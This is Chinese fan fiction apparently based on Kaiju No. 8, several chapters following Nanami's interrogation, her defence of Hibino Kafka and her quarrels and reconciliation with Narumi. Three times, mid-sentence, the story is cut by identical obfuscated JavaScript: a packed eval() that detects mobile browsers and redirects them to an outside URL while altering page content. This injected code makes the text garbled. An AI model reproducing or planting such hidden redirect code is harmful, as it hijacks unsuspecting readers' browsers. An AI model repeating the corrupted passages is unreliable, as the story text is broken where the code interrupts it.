后来的事情也证实了的确如此,毕竟不是所有人都能忍受上司半夜敲门只因为他游戏卡关了。 很明显,转到外勤岗以后有了排班表,以三十六小时为循环,在这个期间内做到实时反馈并出动就可以,基本上不会再有意料之外的急召,除非那是来自更高层级的通知。比如前一日是她的执勤时段却被要求出席东日本会议,又比如说隔天清晨她接到了长官办公室垂直通知,这串极其简短的号码,是讨伐厅内众人皆知的最高命令,背面刻着“不可违背”的铁则。 七海睡意朦胧间拿起手机,一看到来电就清醒了大半,时间是早上六点十分。 昨晚回到基地时已过零点,熟睡的鸣海怎么也叫不醒,虽然她总觉得这个家伙是在装睡,因为她确信自己看到了他的眼皮在颤抖。负责夜间巡逻的小此木广之不知怎么的,明明路过停车场看见了他们,却无视了她的挥手示意。拜托,室外停车场到办公大楼直线距离八百多米,她怎么可能有力气扛得动一个鸣海。 最后七海艰难地将男人拖上了运送装备的手推车,一边诅咒着鸣海头发掉光,一边拉着他进电梯。扶着推车蹲下来,七海当时累得直喘气,低头就看到鸣海那张闭着眼的脸,顾不上考虑他有没有睡着,她没忍住两手扯了扯他的脸皮,做了个鬼脸并对他呸了一声。 等到把他踹进那间堆满垃圾的办公室,七海很庆幸现在已经是新的轮班,她可以直接回宿舍了,结果还没睡上几小时就被电话惊醒。 四之宫长官的声音听起来有些虚幻,对她来说很不真切,她甚至还没听到对方说出一个完整的音节,便立马从扶手椅上弹起来,身上盖着外套掉落在地上,左手抓着手机,右手紧紧攥着衣角,一边应声一边深深鞠躬,她的嘴唇逐渐泛白,蹙着眉,眼神倏然失去焦点又倏然清明。 “日比野卡夫卡的事情,你知道多少?” 因为七海听见了四之宫功这样问道。 通话还未结束,来不及控制自己敏锐的五感,远处直升机的声响已经传进了她的耳朵里。这番垂直通知看来并不是以征求的口吻,七海明白一定是发生了什么事情,与其说是急召,不如说是押送。 她被上头怀疑了。 “前辈,你到底做了什么?” “还有保科,你上报了什么?” 七海潦草地对着镜子整理了一下头发,然后自言自语着走向了停机坪。 负责押送的队员面孔陌生,三人一路无言,哪怕是进到总部内也依旧沉默,他们没有没收她的手机,也没有使用任何拘束用具,也就是至少这个时候还是一种“合作”的态度。 哐当两声,一道机械门打开,这样的审问室是七海第一次见,隐蔽的摄像头在四周布满,她能感知到微弱的电流,侧方是一整面单面镜,那之后亦有人在活动。 四之宫功背过身对着她,七海无法提前知晓对方的神情,不能提前做出反应。 “情况特殊请你理解,”四之宫转身让她坐在房间中央的椅子上,“出云科技的技术,你比我清楚,所以坦诚相告是你唯一的选择。” 这般全方位监控,心率有任何变化都逃不过,七海又怎么会不知道。 “四之宫长官,我可以先问一个问题吗?”她开口。 对方点头。 “立川遇袭是因为日比野先生吗?”目前不透露自己与前辈的私交比较合适,七海改了称呼,并同时用自己的感觉实时留意四之宫的情绪变化。 “恰恰相反,”四之宫回道,“日比野卡夫卡救了整个立川基地。” 他停顿了一下,而后补充说:“不应该说是日比野卡夫卡,是怪兽八号。” 她察觉到了一丝愤怒与厌恶,那是长官对怪兽的想法,等等,他说了什么,七海眼里闪过明显的惊讶,心跳也快了一些,她禁不住反问:“怪兽八号是人类?” “怪兽不可能是人类,”四之宫说得斩钉截铁,“也不可能真正变成人类。” 思索了两秒,七海再次开口:“我对保科副队长的报告没有任何疑问,我确实从他处收到了此人的基因数据,以个人名义,并不是以部队交接的名义。因为第三部队无法进行基因检测,我过去也曾与他们研发组的同事合作过相关的业务,我明白这是不合程序的做法,我可以接受惩戒。” “七海,”四之宫的眼神像是利刃,“那么你是什么时候发现日比野有问题的?” “长官,非常抱歉,因为第一部队业务量极大,我至今未进行检测,毕竟这是私事,我不能在工作时间内使用实验室。”七海能听到自己的心跳是不寻常的平静,“保科副队长大约也提到了,他没有从我这里收到任何检测结果。” 下一秒,那份本应被销毁的数据被投影在墙上,七海背在身后的两手紧握,她的呼吸稍微乱掉了一些,抬眼与长官四目相对,而后深吸一口气,等待着对方先抛来质询。 “你是难得一见的人才,我也需要你站在鸣海身边,所以我选择百分百信任你,”四之宫的语气里听不出一点情绪,“现在我再问你一次,关于怪兽八号,你在隐瞒什么?” 脊背发凉,冷汗顺着额角流下来,七海依然坚持自己一开始的立场,她眨了眨眼回答:“长官,我是接受了基因注射的适配者,鸣海也是,还有您,我们的基因正在缓慢地与怪兽的基因进行融合,这是不可逆的过程。可是您不会认为我不是人类,也不会认为自己不是人类。” 四之宫微微昂起头。 七海便接着说了下去:“所以在我看来,怪兽八号与日比野卡夫卡与我们没有区别,这就是我对这份数据的看法。无论您是否相信我都好,我确实是因为工作太忙没有将它反馈给保科副队长,绝对没有任何故意隐瞒的意思。” 她猜想父母和她的出云科技背景是给她带来这一次审问的重要原因,官方的不信任从不是空穴来风,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14949028|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加入防卫队成为适配者之后高层中不乏一些反对声音,但是在那些声音之外,四之宫功一直坚信她是不可或缺的存在。她更明白,他如何信赖鸣海就是如何信赖自己,所以七海选择在这一刻赌一次。 何况她的隐瞒没有任何阴谋,她只是认为这对前辈是最好的。 “我无法认同你的观点,”四之宫停顿了一下,“但我可以相信你。” “基因融合改变器官不是不可能发生的事情,”赌赢了的七海连忙解释,“每个适配者是如何通过测试的,日比野也应该得到相同的机会,尽管我不知道他是通过注射还是移植获得的基因。” 她又深呼吸了一次:“长官,让他参加测试。” 同时在心里说:前辈,我押上前途了,你最好别让我失望。 明明只在审问室内待了不到一小时,七海却感觉已经过去了半辈子,机械门打开的瞬间,血糖的消耗给她带来了一阵眩晕,她下意识将口袋里的能量棒包装撕开,塞进嘴里,鼓着腮帮子时发现四之宫长官还在看着自己,慌张地硬生生将它咽了下去。 “还有一件事要交待,最新的编号怪兽,十号的武器研发已经交由第三部队全权负责,你去进行技术支持,适配者已经确定。”四之宫说道。 “是第三部队的队员?”她问。 “保科宗四郎,既然你们相熟,那么合作起来也很方便。”四之宫说罢,迈开步子,很快就走远了。 慢慢在后头挪动着的七海咬着牙,比着中指的两手一起抬起,她好想诅咒这个告状的家伙,接着用力按了按泛酸的太阳穴,到办公室领走了自己在进审问室前暂存的手机,刚刚打开就看到了鸣海的消息。 “功叔找你什么事?” “之后你也会知道的,有特别任务。”她打着字回道。 消息立刻就已读了,鸣海除了SNS的评论,从来没有回复这么迅速过:“我和你?特别任务?拉低本大爷的层次了吧。” “滚。”七海翻了白眼,最后只扔出了一个字,之后他再轰炸任何消息都不看一眼。 她向下滑,指尖停留在日比野前辈的头像上,然后又移开。今天前辈会被押送进总部,私人通讯被监控的可能性很大,就算想问他具体发生了什么事情也不安全,犹犹豫豫,她最终决定走一步看一步,现在先什么都不做。 谁让四之宫长官已经下了命令要求她与鸣海参与几日后对日比野卡夫卡的测试呢。 一个超过8.0级的怪兽,安排三位编号怪兽适配者到场,这是相当的保守的做法,也是七海主动要求的,她认为自己至少能在这个过程里为前辈创造一些机会。 日比野前辈只能是人类,不可以被讨伐。 当日傍晚时分,押送车到达总部,日比野卡夫卡被监禁。 三日后测试开始,七海与鸣海装备完全在训练场之外待命,她从监控器中看到样貌憔悴的日比野,神情阴沉。 “你很在意怪兽八号。” 隔着装备,鸣海的声音模糊不清,但七海听得一清二楚。 “是的,我很在意日比野卡夫卡。” 她点头,并纠正了他的说法。 这副模样的七海阳菜,鸣海弦只见过一次,是二人初见那日,她踏进会议室的那一刻,他第一眼看到的样子。 18.内勤暴言(17) 内勤暴言(外勤版本)@wffh 人到底什么时候才可以不打工? 两眼一睁就是个工(两眼一黑) 08:12 dd/mm/yy twitter for web 迟迟没能接到四之宫长官的指令,不知是不是因为长时间戴着面罩,七海觉得有点喘不上气,监控屏幕里看到的景象更是让她头皮发麻。 据她所知,差不多五年前起,四之宫功就已经完全退出了讨伐一线,鸣海这一代年轻的防卫队队长是与他并肩作战过的最后一批人,因此七海只在文件中见识过怪兽二号装备的数据,那强大的攻击力即便是到今时今日都能排在首位。但此刻的四之宫却处在下风,一开始步步相让的怪兽八号似乎一瞬间觉醒了一般,接连几次强势的攻击让四之宫连连后退。 七海试图用“没关系的那是前辈”在心里安慰自己,因为基因融合和失去自我意识的感觉绝不好受,她再清楚不过了。 日比野卡夫卡,你一定也不会喜欢的。她在心里这样说道。 身旁的鸣海一直沉默不语,七海不知道他在想什么,他们两个人身后站着一个中队的人,所有人都绷紧了神经,一触即发。突然地,监控屏幕变得漆黑一片,七海按下通讯器立刻联系来栖,鸣海却已经先她一步按下了开门按钮,高高举起了自己的武器。 在大脑做出反应之前,七海意识到自己的身体先动了起来,通讯器中来栖正在解释说刚刚的爆炸让训练场地内被厚重的灰尘包裹,监控室看不清怪兽八号与四之宫长官的方位,她却没有听进去半个字,只是张开了蛛网将日比野与鸣海隔开,武器的刀尖距离蛛丝只有半寸的距离。 “你在做什么?” 鸣海对七海种种举动的不满好像已经到了极限,依然保持着攻击的姿势指着怪兽八号的胸口,看不见七海在面罩之下的表情,又增加了他的烦躁。 握着刀的手攥得越来越紧,他又继续质问:“你在保护他?” “我们从未接到过直接击杀的命令。”七海摘下面罩,露出早已被汗水浸湿的前额,鼻尖上还挂着汗珠,想来不会是因为闷热,如此迅速地调动感官和使用蛛丝,她的体力又被消耗光了。 鸣海将武器重重的扔在地上,若是平时一定会被七海嫌弃不爱护装备,但这时候他完全顾不的这些,碍事的面罩摘了好几次才拿下来,他向她走近了好几步,她不得不后退:“七海阳菜,你清楚你自己的身份吗!” 退了两步的七海抬起头来,反过来逼近鸣海,她反问:“你管我是谁?” 然后收起了蛛网指着已经倒下的日比野卡夫卡,伸手抚上鸣海的眼睛说:“你用你的眼睛好好看看,那个核里面是什么,是一个心脏,这是个人,一个活生生的人。” 女人的手止不住颤抖,训练了她这么长时间的鸣海对她的反应太过熟悉了,豆大的汗珠从额头不断滚下,他一下抓过七海的手,反手去触碰她的耳后,这家伙的体温越来越低了。 “鸣海。”四之宫功在一旁提醒他,谁料平日里看着冷静自持的七海竟也被鸣海的脾气卷了进去,两个人不仅当着最高长官的面,还在总部整个中队和研发部的注视下,吵起了架。 这一句提醒加七海的症状总算让鸣海先恢复了平静,他揽过她的腰支撑住这个两腿发软的人,故作镇定地抛下一句:“我把这个没用的家伙带走。” 刚要转身却又听见了四之宫的声音:“我再问你一次,你认为他是什么?” 半是虚脱的七海艰难地直起身,她回头看向长官,坚定地给出了自己的回答:“日比野卡夫卡他只是与怪兽基因融合的适配者。” 那之后过了两天,关于如何处置怪兽八号的会议仍未得出结论,七海时刻与来栖联系着,十分关注着总部的风向,她甚至回到第一部队的当天下午就钻进了实验室里,将先前所有研究基因融合的资料都整理成册,其中还有她自己的样本。尽管她知道哪怕在会议上拿出自己与父母当年的论文,也很难在高层之中为日比野前辈正名,但如果她什么都不做的话,她一定会后悔的。 然而那一日扛着她一路回来的鸣海却赌气似的躲进了自己的办公室,没日没夜地打着游戏,不和任何人说话,长谷川去敲门也没用,部队里的人都不知道他是受了什么刺激。 东云作为代表跑去问七海,她也欲言又止,扔下“我不知道”几个字就消失在走廊尽头。 这场面在众人看来太稀奇了,难道是闹分手了? 对乱七八糟的流言蜚语毫不在意,她也没有时间去在意,因为七海又接到了旁听会议的通知,这一次通知上并没有第一部队队长鸣海弦,只有她一个人,议题还是没有变,依然是对怪兽八号的处置。 看着桌角的那串车钥匙,是鸣海后来借给她的备用钥匙,七海犹豫了几秒钟还是拿走了它,心想着:车又没错,我为什么要惩罚自己挤地铁。 一进会议室七海就看到最角落位置上的亚白米娜,她抬头同自己打了个招呼,悄悄走过去在她旁边坐下,七海小声问问:“今天会是最后一次会议吗?” “但愿是。”亚白轻叹了一口气,抓着自己手里的报告,稍稍有些紧张。 “我也带了点东西来,”七海扫了一眼那些长官,基本都是从防卫队升上来的,“虽然我觉得他们的知识储备大概率理解不了这里面的东西。” 后面半句话说得太轻了,亚白没能听清,她疑惑地嗯了一声,七海则是尴尬地摆了摆手。 很显然,与高层们据理力争简直是亚白米娜这种循规蹈矩的优等生不敢想象的事情,但是半小时后,她却看到刚刚还坐在自己身旁搓着手念叨食堂有没有炒饭的人手握一篇文章站起身,将自己被反驳的那些话一一回怼,同时给出了更加无懈可击的论证。 就这样,七海一个人接下了来自所有长官的质询,最后似乎变成了一种大家只是想把她驳倒的局面,她的声音越说越沙哑,但却依然听不出一点动摇的意思,在这个场合中能有一个人坚定地与自己站在一起,亚白莫名觉得心安。 只是她没想到不过短短一小时,她与七海就被逐出了会议室。 “他们真是玩不起……”七海看着禁闭的大门,哼了一声,“不管了,我饿了。” “那一起去吃饭吗?”亚白主动提议说。 正好是午餐时间,总部食堂很是忙碌,来来去去的都是工作人员,亚白其实没什么食欲,但到了时间就该吃东西是良好的生活习惯,她走在七海身后拿了一个空餐盘,发现前面的人手上拿了两个。 “谢谢,我已经拿了。”她说道。 “哦,这个,不好意思,是我自己要用到两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14986481|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”七海点头笑了笑。 亚白起初没懂这意思,几分钟后她拿完餐食在空桌旁坐下时,抬眼就看到七海一个人买了四份炒饭还有一碗拉面,把两个餐盘堆得满满当当,路过的同事都对他们这桌投来了好奇的眼神。 七海似乎已经习惯了因为夸张的食量被人看着,她在拉面里还撒了大把七味粉,吃饭的模样既满足又快乐,亚白反而觉得她不仅是个可靠的人,还有点可爱。 “啊,和你说应该没关系,这个是保密等级是副队长官职以上,”七海一口气解决了两盘炒饭,然后说道,“因为注射了三号基因,我比正常人更容易消耗能量,血糖降得超级快,一眨眼就饿了。” 亚白眨了眨眼,将自己的那份水果推到她面前。 “亚白队长也不用这么客气的。”七海又把它推回去。 “我是想谢谢你,”亚白解释,“还有,看你吃饭让人心情很好。” 看看人家队长多会说话多会做人长得多好看,七海接过那盘水果的时候,在心里不免对那个已经对她不理不睬好多天的人有了一丝埋怨。 总部的会议似乎总是漫长,然而亚白因事不能在这里多留,被毁掉的立川基地还有许多要解决的事情,七海同她在食堂门口分开,决定在去会议室等候结果之前先去一趟研发部,她听来栖说日比野被收治在最里面那间医疗室,手术刚刚结束没多久。 隔着玻璃看到了前辈,他明显凹陷的两颊和眼下的那片乌青都显示出了他的状态虚弱,如果再慢一点,大约手术都救不回那颗岌岌可危的心脏了。 “七海?” 眼里闪过一丝惊讶,七海转过身又立刻掩饰住自己的表情,她清了清嗓子躬身:“长谷川副队长。” “你怎么在这里,不是在开会吗?”长谷川问道。 这句问话好像吸引了他身后的年轻女孩的注意,七海外头看过去,这是四之宫长官的女儿,两个人的视线恰巧相接,她便直起身回道:“长官们有些话不方便我这种小人物听,所以我还在等待会议结果。” 听了这话女孩期待的表情很快转变为失落。 “那先介绍你们认识一下,这位是七海阳菜,第一部队以前的研发骨干,是今年刚加入的正式队员。”长谷川回头对身后的女孩说道。 “七海前辈,您好。”女孩礼貌问好。 “这位是四之宫琪可露,今天会调来我们这里,交给鸣海管理,下午就去报道。”长谷川说出口时才发现是不是不应该提他的名字,但七海并没有露出什么情绪,只是上前和琪可露握了握手。 接着退到长谷川身边凑近了低声说道:“那家伙的办公室好像很久都没收拾过了。” “我这个月很忙。”长谷川皱眉。 “我也很忙。”七海回道。 留下琪可露在一旁一脸茫然,她不知道为什么两位前辈的脸色一下子变得这么难看。 说话间七海的手机震动了两下,来栖给她发来了消息:“会议结束了,长官决定对八号暂缓处分。” 长舒一口气,放松的笑容回到她的脸上,七海盘算着那接下来的事情就更好办了,她想起存在电脑里的那份提案,今天回去就要提交给四之宫功。 希望他会看OA消息,不要像那家伙一样。 七海在心里双手合十保佑道。 19.内勤暴言(18) 内勤暴言(外勤版本)@wffh 退一万步,暗杀领导真的犯法吗? 我干脆去做保洁好了,至少还有钱收。 23:22 dd/mm/yy twitter for web 众所周知,讨伐厅作为平成年初才正式建立的权力机关,其建成象征着防卫部队正式独立出自卫队海陆空三系统,不再是自卫队第四个组成部分,而是隶属讨伐厅调遣,直属内阁会议管理。因此讨伐厅高层的成员初期构成简单分为三派——防卫部队退役成员、掌握研究成果的尖端人才以及内阁长官。 只不过随着应对怪兽的相关政策逐渐成熟,原本参与决策的内阁长官也继而退出历史舞台,以挂名与兼任为主,只在每年度的全日本讨伐会议上通过连线方式露面。 当这日的讨伐厅内部会议进行到僵局的那一刻,所有人都未料想到屏幕上会出现内阁的身影,四之宫功试图力排众议为日比野卡夫卡争取一个机会,突然出现的内阁官房长官却抛出了一句:“那你又要以什么立场为它开先例?” 和在场的许多人一样,长官依然使用了“它”,四之宫明白这里不是防卫部队的一言堂,但这时候能拖一刻则是一刻,即便不能完全赦免,可怪兽八号总应该拥有上诉再审的权利,于是四之宫开口回道:“人类,我永远只站在人类的立场上。” 很显然,会议最终得出的“暂不做处分”这个决定是目前最好的结果,然而上面没有给出最后的期限,也就是说他们随时能够以高一级的权力机关为由,随时进行处分。留给四之宫的棘手局面将从此刻开始,好在那个可靠的家伙再次为他送来了一些好东西,就像当初她为保住鸣海的眼睛而做的那样。 熟门熟路溜进基地食堂,厨师们已经在为晚餐忙活了一段时间,七海阳菜揉着不久前还塞满了拉面和炒饭的肚子,自己竟然在不当值的时间没有睡觉而是一回部队就写起了报告,回想起这番认真工作的模样让她有点反胃,可修改报告消耗完的脑细胞又让她变饿了。 她悄悄抱起厨房料理台上一盆刚刚炸好的意式肉丸,一边在走廊上走着一边往嘴里一个接一个地扔,今天的肉馅做得真不错,香料味正好,也不会太咸。这盆肉丸下肚,她觉得自己还能再工作俩小时。 不对,自己怎么和鬼上身一样,她才不要工作。 虽说七海是这么想的,但是等待着报告成功递送到四之宫长官那里的时间里,她还是打开了过去许多基因融合手术的病例和后续跟踪资料,仿佛把这当作了下饭的另外一份小菜。专心致志看着上一个在鹿儿岛牺牲的适配者的记录,有什么东西吸引了她的注意力,连咀嚼肉丸的动作都停了下来,自然也就没有听到前几下敲门声,一直到声响变得急促,听觉灵敏的七海这才反应过来办公室有访客。 工作日里她总是敞着门的,况且就算锁着门,会不请自来的也就只有那个嘲讽她什么年代了还用六位数字密码的人。 起身打开门,身材高大的长谷川几乎占满了整个门框,七海连忙后退两步将副队长迎进门,将自己的椅子挪到一旁,又把那盆肉丸往文件堆后面推了推。 “长谷川副队长。”她躬身行礼。 “我刚把新人带到了队长办公室,东云已经把她接走去宿舍楼了,所以……”长谷川倒吸一口凉气,似乎见到了什么脏东西似的。 “不,”七海警觉地站起身,“无论您要我做什么都可以但是这个恕我拒绝。” “你也知道那家伙办公室里有不少密件,我和你都有阅读权限,但是我没有接收权限,”长谷川皱起眉,“要是真被他都扔了,我们俩还得上监察部门给他作证。” “副队长,您知道这件事应该跟我没关系吧,我做哪门子的证?”七海说着又摸了一个肉丸进嘴里。 “你又是从哪里……”长谷川看了一眼她身后那盆肉丸,摇了摇头强调说,“总而言之这件事只能交给你了。” 不凑巧,怪兽来袭的警报声突然响起来,尖锐的声响猛地刺痛了她的耳膜,七海不自觉捂住了耳朵。 而长谷川副队长本来已经跨出门口,又回过头再次提醒道:“拜托你了!” 此时七海第一反应误读了这几个字,咽下嘴里的东西也准备跟上副队长跑向装备室,手握着门把手的瞬间她总算想起自己不当值,立刻松了一口气,悠闲地拉开椅子坐了下来,并在心里告诉自己别惦记鸣海的办公室,千万别惦记。 然而越是说着不惦记,她就越是惦记,抓狂似的揉乱了自己的头发,她赌气一般连塞了几个肉丸进嘴里,骂骂咧咧地狠狠摔上门,大步流星奔赴战场,哦不是,垃圾场。 手套、口罩、消毒剂和清扫工具都齐了,七海深呼吸了一下推开门,她无法用语言形容里面的景象带来的冲击力,窸窸窣窣的声响吸引了她的注意力,正是从角落那堆纸箱子里爬出来的,上前一脚,而后又是一脚,盯着地上被踩扁的两坨黑色,七海努力劝说着自己,因为如果不能让自己冷静下来,她觉得鸣海的房间下一秒就会变成一团火海。 为了这种事蹲监狱太不值得了,可她真的好想放火,如果鸣海在的话就好了,还能把他一起烧了。 接着她弯腰卷起被褥,在那下面找到了两份贴着绝密标签的文件,把堆得比她个头还高的纸箱子扒拉开,一个个把它们拆开压扁,然后又在里面翻出一份文件。转身踢到了几个泡面桶,她庆幸那里面没有面汤,但边上那个文件袋很显然已经被鸣海这个笨蛋拿来当泡面盖了,上面一圈完整的油渍,看得七海都有点气笑了。 幸好提前让负责清洁的工作人员推着垃圾车在办公室门外等着,对方大约是刚来不久的清洁工,看着七海拖出来的巨型垃圾袋,呆愣在原地好几分钟才想起在通讯器里呼叫同事过来帮忙。 于是两个清洁工加一个七海来回四趟,才把这间垃圾房彻底清空,许久未见如此宽敞的队长办公室,连七海都看呆了。 最后她坐在办公椅上熟练地把未拆封的快递按大小排好,又把所有整理出的密件都锁进办公桌的抽屉,看到其中有一盒是刚发售的游戏卡带,她面无表情撕开包装,像是拿出自己的东西一般自然地翻出鸣海的游戏机,将卡带插进去。 安静的房间里只有手柄摇杆的晃动声,七海一想到那家伙看到未拆封的游戏出现了别人存档的表情,不自觉扬起了嘴角,完全忘记了自从那一日在四之宫长官面前闹翻后,他们二人还没有说过一次话。 “我今天都出动了你竟然在这里玩游戏。” 冷不丁的说话声打破了这阵安宁,尚未换下战斗服的鸣海头发稍稍凌乱,呼吸的频率比平时快一些,他似乎并不关心自己的办公室是不是变干净了,他只是难掩脸上那得意的表情,仿佛七海主动出现在这里就是她先认输了一样。 女人从游戏中抬起头,两个人视线相接,然后再次低头操控着手柄说:“可我不当值啊。” “我出动你不应该打辅助吗,”鸣海向她走近,两手拍在桌面上眼睛向下瞥到了屏幕,双眼瞪得滚圆,“你居然拆了我的卡带,你知不知道这是用来收藏的特别版,你你你……” “所以呢?”七海点击保存进度,而后放下游戏机起身,“你能不能给新人一点好印象。” 说着她便和跟在后面的琪可露点头打招呼,女孩再一次陷入了疑惑,她听到东云小队长和长谷川副队长低声嘀咕说:“原来没分手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031437|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” “应该是暂时没分。”长谷川纠正道。 两个人重归于好的消息当晚就在基地传了一大圈,哪怕是冲着七海阳菜依然愿意以身犯险、身先士卒清理那间垃圾房这件事,就不会有人不相信。自那之后,七海总觉得旁人看她的眼神多了半分怜悯,她承认自己的工作很辛苦,但是这份多余的同情究竟是来自哪里的。 只不过她的注意力不在自己身上也不在鸣海身上,而在那封签着四之宫功全名的文件批注上,长官就是长官,和某些人就是不一样,连查看OA消息都这么及时。 一周之后,讨伐厅办公室下达了会议通知,这一回七海非常积极地点击了确定参会,结果却在递交文件给长谷川时听到鸣海在耍赖,想撂挑子不干让副队长代会。顾不得上下级,七海推门走进去。 “以前的和以后的会议都可以,只有今天这次绝对不可以。” “长谷川你看,她进我办公室都不敲门了!”鸣海避开正面交流。 “别耍赖,七海说得对,”长谷川一把拉起瘫在床垫上的鸣海,“快换衣服出发。” 先是被逼着换了衣服,接着又被拉上了车,鸣海搞不明白七海怎么就对工作这么上心了,直到看见站在功叔的办公室的那个男人,他才明白了为什么,而先前那股很奇怪的情绪也又侵占了鸣海的大脑,此时此刻他只想把身旁的七海变小藏进自己的口袋里,然后带着她离这里越远越好。 谁料下一秒他竟然听见功叔说要将日比野收纳进防卫部队,七海的表情如常,似乎对这件事早已知晓。 “日比野卡夫卡将在监管之下作为我们的武装力量,技术监督为七海,战斗监督为鸣海,除了长官级,只有你们可以直接对他下令。”四之宫功说罢看向七海补充道,“你有三个月的时间对他进行特训,在这三个月内他的编制会转移到第一部队,这是我为你争取到的时间。” “明白,谢谢长官。”七海将后半句话藏进心里,谢谢长官愿意赌一把,也谢谢长官采纳了她的提案。 看着这副达成共识的模样,鸣海眼里的怨气更深了,也就是说在场的只有自己一个人是反对这个计划的,而他根本没有反对的权利。 其实七海在接到会议通知的时候就猜到提案成功了,她一早的心情就很不错,还给日比野带了一大包烤仙贝,那时坐在副驾驶的鸣海也意识到了那些不对劲的感觉总得有个原因,因此他开口问道:“你们两个很熟吗?” 只是早上七海看了他一眼,并没有回答这个问题,在他们离开长官办公室的时候,她按下电梯按钮说道:“我现在可以告诉你了。” “告诉我什么?”鸣海瞥了一眼走在后面还没跟上来的日比野。 “是的,我们很熟,我觉得前辈很像我的哥哥。” 鸣海心情更别扭了。 二十分钟后的讨伐厅停车场,鸣海先拉开副驾驶车门把七海推进去,然后自己坐上驾驶座锁上了车门,日比野站在车外不知如何是好,接着便听到这里传来两个人吵架的声音。 “都说了不如把八号变成我的武器……” “拜托你,前辈的基因显示就是人类,你是想杀人吗?” “你到底有没有把我当队长,我每天日理万机还要搭理这些事情……” “所以我都说了我来培训前辈,我又没求你。” “那不行,你觉得你能制服怪兽八号?” “他是日比野卡夫卡!” “八号,就是八号!” …… 日比野敲敲车窗,小心翼翼地说:“那个队长……那个七海?” “你先闭嘴。”车里的两个人同时扭头对着他喊道。 20.内勤暴言(19) 内勤暴言(暂时回归)@wffh 怀念实验室怀念数据库怀念一切! 21:22 dd/mm/yy twitter for web 新的一周工作日开始时,七海阳菜的心情肉眼可见变得很不错,尤其是在打开值班表的时候,她见到自己的名字暂时从上面撤下,几乎当场就要欢呼出声来。事实上七海也是这么做的,她当下就双手高举过头顶在办公椅上转了一圈,不过一句“好耶”的尾音都没结束,她便看到了一声不吭站在自己身后的男人,他头发半干,滴下的水珠弄湿了衣领,那件洗得发白的短袖似乎有些宽大了,看起来松松垮垮的。 她原以为讨伐厅关于怪兽八号的通知正式下达之后,一直在闹别扭的家伙总归会恢复正常,结果是好不容易结束了一场冷战,男人又开始了阴魂不散的监视,过一两个小时就会像这样突然出现在办公室里,也不知道是在确认什么。 “我们队长今天这么早就结束训练了?”七海以前就知道鸣海总是在大家回到宿舍后才一个人进入训练室,不耗上半夜的功夫是不会出来的。 “你呢,怎么又加班?”鸣海不顾七海的嫌弃拿过一旁柜子里的毛巾盖在了头顶上,潦草地擦着头发。 “我在对比这几天的数据,”七海转回去把值班表的窗口关闭,打开另一份文件,“前辈的情况有点复杂,我想搞明白。” “你怎么就这么在意……”鸣海咂嘴,走过来扒拉了两下她的桌子,打开了一包新的巧克力曲奇,一边嚼着一边说,“提到他就成天笑嘻嘻的。” “我哪有笑,”七海皱着眉从屏幕的反光里看了一眼自己的脸,明明还是那副半生不死的表情,“还有,一盒曲奇只有六袋,每一袋都是被你开过的!” 她伸手去抢鸣海手里的饼干,对方反应迅速又塞了两个进嘴里,接着立刻把零食袋换到另一只手。七海下意识调动感官预测他的行动,起身跨步上前来到他的身后,一下子抽出了袋子,看着里面剩下的最后一个,不爽地扯了扯嘴角。 鸣海艰难地将嘴里的东西咽下肚,摆出蓄势待发的姿势,当七海将那块曲奇拿起即将送到嘴边的瞬间,他撩起她碍事的刘海,微微弯腰凑近,直接咬走了它。 指尖在额前留下的温度似是在发烫一般,七海那双永远睁不开的双眼瞪得滚圆,她大脑一片空白,想都没想便冲上去狠狠撞他的头,大约是没收住力气,她跌坐回自己的办公椅上,鸣海也后退了好几步。 “你以后就用这一招,太管用了……”鸣海觉得一阵晕晕乎乎,走上去扶住了她的桌子才站稳,“你这脑袋什么材质的,是凶器吧。” “闭嘴。”七海两手按着太阳穴,过于敏锐的五感让这样一次简单的碰撞都变得仿佛地动山摇似的,她的胸腔里翻江倒海,鸣海说话的声音好像放大了几百倍,她的大脑正在经历着地震。 “喂,七海。”鸣海晃了晃头,总算看清了坐着的人,她的紧闭着双眼,咬紧牙关,呼吸急促,他半蹲下伸手戳了戳她,女人稍有些不耐烦地摆了摆手,他便又靠近了一点,轻轻抓过她的手腕,“别这么用力按。” 他提醒着的同时,两手覆在她的手背上,轻柔地按压着她的头侧,刺痛的感觉在逐渐消失,轰鸣声被呼吸与心跳代替,鼻腔里是带着湿气的洗发香波味,七海微微睁开眼,对上了鸣海的注视。 “为了一块饼干搭上命可太不划算了。”见她冷静下来,鸣海迅速移开视线直起身。 “你倒是别抢我的零食啊。”七海瞪着他。 “知道了知道了,下个月发工资还你一百袋可以了吧。”鸣海撇着嘴。 “那先把之前的两万还给我。”七海手心向上,昂起头来。 